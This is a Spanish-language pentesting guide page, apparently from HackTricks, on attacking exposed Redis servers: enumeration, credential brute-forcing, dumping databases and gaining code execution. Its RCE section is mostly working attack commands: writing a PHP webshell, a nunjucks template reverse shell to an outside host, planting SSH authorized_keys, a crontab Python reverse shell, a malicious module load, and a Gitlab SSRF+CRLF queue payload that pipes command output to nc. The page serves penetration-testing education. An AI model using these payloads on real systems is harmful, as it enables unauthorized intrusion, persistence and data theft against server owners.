19 KiB
6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Información Básica
From the docs: Redis es un almacenamiento de estructuras de datos en memoria de código abierto (licencia BSD), utilizado como una base de datos, caché y corredor de mensajes.
Por defecto, Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar ssl/tls. Aprende a ejecutar Redis con ssl/tls aquí.
Puerto por defecto: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumeración Automática
Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumeración Manual
Banner
Redis es un protocolo basado en texto, solo puedes enviar el comando en un socket y los valores devueltos serán legibles. También recuerda que Redis puede funcionar usando ssl/tls (pero esto es muy raro).
En una instancia regular de Redis, solo puedes conectarte usando nc
o también podrías usar redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
El primer comando que podrías intentar es info
. Puede devolver una salida con información de la instancia de Redis o algo como lo siguiente:
-NOAUTH Authentication required.
En este último caso, esto significa que necesitas credenciales válidas para acceder a la instancia de Redis.
Autenticación de Redis
Por defecto Redis se puede acceder sin credenciales. Sin embargo, se puede configurar para soportar solo contraseña, o nombre de usuario + contraseña.
Es posible establecer una contraseña en el archivo redis.conf con el parámetro requirepass
o temporalmente hasta que el servicio se reinicie conectándose a él y ejecutando: config set requirepass p@ss$12E45
.
Además, se puede configurar un nombre de usuario en el parámetro masteruser
dentro del archivo redis.conf.
{% hint style="info" %}
Si solo se configura la contraseña, el nombre de usuario utilizado es "default".
Además, ten en cuenta que no hay forma de encontrar externamente si Redis fue configurado solo con contraseña o nombre de usuario+contraseña.
{% endhint %}
En casos como este, necesitarás encontrar credenciales válidas para interactuar con Redis, así que podrías intentar fuerza bruta.
En caso de que encuentres credenciales válidas, necesitas autenticar la sesión después de establecer la conexión con el comando:
AUTH <username> <password>
Credenciales válidas serán respondidas con: +OK
Enumeración autenticada
Si el servidor Redis permite conexiones anónimas o si has obtenido credenciales válidas, puedes iniciar el proceso de enumeración para el servicio utilizando los siguientes comandos:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Otros comandos de Redis se pueden encontrar aquí y aquí.
Tenga en cuenta que los comandos de Redis de una instancia pueden ser renombrados o eliminados en el archivo redis.conf. Por ejemplo, esta línea eliminará el comando FLUSHDB:
rename-command FLUSHDB ""
Más información sobre cómo configurar de manera segura un servicio Redis aquí: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
También puedes monitorear en tiempo real los comandos de Redis ejecutados con el comando monitor
o obtener las 25 consultas más lentas con slowlog get 25
Encuentra más información interesante sobre más comandos de Redis aquí: https://lzone.de/cheat-sheet/Redis
Volcando Base de Datos
Dentro de Redis, las bases de datos son números que comienzan desde 0. Puedes encontrar si alguna está en uso en la salida del comando info
dentro del bloque "Keyspace":
O simplemente puedes obtener todos los keyspaces (bases de datos) con:
INFO keyspace
En ese ejemplo, se están utilizando las bases de datos 0 y 1. La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1. Por defecto, Redis utilizará la base de datos 0. Para volcar, por ejemplo, la base de datos 1, necesitas hacer:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
En caso de que obtengas el siguiente error -WRONGTYPE Operation against a key holding the wrong kind of value
al ejecutar GET <KEY>
, es porque la clave puede ser algo diferente a una cadena o un entero y requiere un operador especial para mostrarlo.
Para conocer el tipo de la clave, utiliza el comando TYPE
, ejemplo a continuación para claves de lista y hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Volcar la base de datos con npm redis-dump o python redis-utils
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
¡Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!
Redis RCE
Shell Interactiva
redis-rogue-server puede obtener automáticamente una shell interactiva o una shell inversa en Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Info de aquí. Debes conocer la ruta de la carpeta del sitio web:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Si la excepción de acceso al webshell, puedes vaciar la base de datos después de hacer una copia de seguridad y volver a intentarlo, recuerda restaurar la base de datos.
Plantilla Webshell
Al igual que en la sección anterior, también podrías sobrescribir algún archivo de plantilla html que va a ser interpretado por un motor de plantillas y obtener un shell.
Por ejemplo, siguiendo este informe, puedes ver que el atacante inyectó un rev shell en un html interpretado por el motor de plantillas nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Tenga en cuenta que varios motores de plantillas almacenan en caché las plantillas en memoria, por lo que incluso si las sobrescribe, la nueva no se ejecutará. En estos casos, o el desarrollador dejó activa la recarga automática o necesita hacer un DoS sobre el servicio (y esperar que se reinicie automáticamente). {% endhint %}
SSH
Ejemplo de aquí
Tenga en cuenta que el resultado de config get dir
puede cambiar después de otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de config get dir
podría encontrar el home del usuario redis (generalmente /var/lib/redis o /home/redis/.ssh), y al saber esto, sabe dónde puede escribir el archivo authenticated_users
para acceder a través de ssh con el usuario redis. Si conoce el home de otro usuario válido donde tiene permisos de escritura, también puede abusar de ello:
- Genere un par de claves públicas y privadas ssh en su pc:
ssh-keygen -t rsa
- Escriba la clave pública en un archivo:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Importe el archivo en redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Guarde la clave pública en el archivo authorized_keys en el servidor redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finalmente, puede ssh al servidor redis con la clave privada: ssh -i id_rsa redis@10.85.0.52
Esta técnica está automatizada aquí: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
El último ejemplo es para Ubuntu, para Centos, el comando anterior debería ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Este método también se puede utilizar para ganar bitcoin :yam
Cargar módulo Redis
- Siguiendo las instrucciones de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand puedes compilar un módulo redis para ejecutar comandos arbitrarios.
- Luego necesitas alguna forma de subir el módulo compilado.
- Cargar el módulo subido en tiempo de ejecución con
MODULE LOAD /path/to/mymodule.so
- Listar módulos cargados para verificar que se cargó correctamente:
MODULE LIST
- Ejecutar comandos:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Descarga el módulo cuando quieras:
MODULE UNLOAD mymodule
Bypass de sandbox LUA
Aquí puedes ver que Redis utiliza el comando EVAL para ejecutar código Lua en sandbox. En la publicación vinculada puedes ver cómo abusar de ello utilizando la función dofile, pero aparentemente esto ya no es posible. De todos modos, si puedes eludir el sandbox de Lua podrías ejecutar comandos arbitrarios en el sistema. Además, en la misma publicación puedes ver algunas opciones para causar DoS.
Algunos CVEs para escapar de LUA:
Módulo Maestro-Esclavo
El redis maestro sincroniza automáticamente todas las operaciones al redis esclavo, lo que significa que podemos considerar la vulnerabilidad redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar el comando a nuestro propio redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF hablando con Redis
Si puedes enviar una solicitud en texto claro a Redis, puedes comunicarte con él ya que Redis leerá línea por línea la solicitud y solo responderá con errores a las líneas que no entiende:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Por lo tanto, si encuentras una SSRF vuln en un sitio web y puedes controlar algunos headers (quizás con una vulnerabilidad CRLF) o parámetros POST, podrás enviar comandos arbitrarios a Redis.
Ejemplo: Gitlab SSRF + CRLF a Shell
En Gitlab11.4.7 se descubrió una vulnerabilidad SSRF y una CRLF. La vulnerabilidad SSRF estaba en la funcionalidad de importar proyecto desde URL al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma [0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad CRLF fue explotada simplemente agregando caracteres %0D%0A a la URL.
Por lo tanto, fue posible abusar de estas vulnerabilidades para comunicarse con la instancia de Redis que gestiona colas de gitlab y abusar de esas colas para obtener ejecución de código. La carga útil de abuso de la cola de Redis es:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Y la solicitud URL encode abusando de SSRF y CRLF para ejecutar un whoami
y enviar de vuelta la salida a través de nc
es:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Por alguna razón (como para el autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de donde se tomó esta información) la explotación funcionó con el esquema git
y no con el esquema http
.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!
Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.